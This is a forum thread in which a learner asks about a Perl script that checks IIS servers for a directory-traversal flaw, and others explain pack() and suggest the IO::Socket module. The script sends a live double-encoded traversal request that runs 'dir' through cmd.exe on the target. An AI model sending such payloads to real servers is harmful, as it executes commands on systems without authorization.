Here is the source code below:
and my question is about line 9,what does 'SnC4x8' and the fuction pack() mean ?
line 18 what does $open_or_close mean?

besides,anyone could recommend me some infos to get to know more about vul,and how to write it with perl?

<1 #!/Perl/bin/Perl -w
<2 use strict;
<3 my $port=80;
<4 my $PF_INET=2;
<5 my $SOCK_STREAM=1;
<6 my $proto=getprotobyname("tcp");
<7 my $open_or_close;
<8 $|=1;
<9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "can't socket";
<11 connect (SOCKET,$addres) or die "can't link";
<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0\n\n",0);
<13 while(<SOCKET>) {
<14 if (m/Directory/){
<15 $open_or_close=1;
<16 }
<17 }
<18 if ($open_or_close eq "1") {
<19 print "This IIS have the vul\n";
<20 }else{
<21 print "This IIS doesn't have the vul\n";
<21 }

well the pack statement is there to convert a number of strings, in this case variables for a socket into a formal data structure. more here: http://perldoc.perl.org/perlpacktut....g-C-Structures

as for open_or_close, that's just a parameter apparently being used to hold the status of the socket, whether it's open or not.

knowing a little about perl has nothing to do with writing a scanner in fact the two have nothing in common. you have on one side knowledge of coding in perl, and on the other on what a vuln is and how to implement them in theory. combining the two is arbitrary, as long as the language of choice. so split out these two if you expect to succeed here.

You might find it easier to use the relevant module: http://search.cpan.org/~gbarr/IO-1.2...Socket/INET.pm instead of constructing a socket 'manually'.

Yes,use a module is much more easier than i build a socket connection,
but i really want to know how it works,so can you help me about that?

Well, take the 4th example of that page and change the port num to 80:

$sock = IO::Socket::INET->new('127.0.0.1:80');


And here's a good examples page, inc a web get (ie what you are doing)
http://www.rocketaware.com/perl/perl..._IO_Socket.htm

thank you.
I am working on it.